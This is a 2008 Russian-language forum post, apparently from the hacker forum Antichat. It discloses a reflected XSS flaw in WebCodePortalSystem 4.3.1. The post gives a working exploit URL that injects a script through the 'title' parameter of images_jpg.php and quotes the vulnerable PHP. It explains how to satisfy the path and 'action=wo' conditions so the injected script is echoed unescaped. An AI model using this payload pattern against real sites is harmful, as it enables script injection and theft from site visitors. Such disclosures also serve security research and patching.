Показать сообщение отдельно

  #25  
Старый 13.03.2008, 21:07
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами:
10483586

Репутация: 5826


По умолчанию

WebCodePortalSystem v. 4.3.1

Пассивная XSS:

Код:
http://test2.ru/php/images_jpg.php?nma=..&vara=inc&images=config.php&action=wo&title=</title><script>alert();</script>
Уязвимый кусок скрипта:

PHP код:
$path=(getenv('OS'))?dirname(getenv('DOCUMENT_ROOT')."/x")."$nma/".$vara.$slash.$images:getenv('DOCUMENT_ROOT')."$nma/".$vara.$slash.$images;
if (!
file_exists($path)){$error=0;} 
Вообщем что бы выполнилось условие "if ($error)", нужно что бы файл, указанный в переменной $path, существовал.

PHP код:
if ($error){
if (@
$action=='wo'){
    
$size=getimagesize($path);
        
$size[2]=$size[1]+25;
        if(empty(
$title)){$title=strtoupper($vara)." * $images";}
    echo 
"<TITLE>$title &nbsp;&nbsp;</TITLE> 
Дальше видим что значение переменной $action должно быть "wo". Ну а дальше выходим на финишную прямую "echo "<TITLE>$title &nbsp;&nbsp;</TITLE>", в переменную $title впихиваем скрипт, а остальное оставляем без изменений.
 
Ответить с цитированием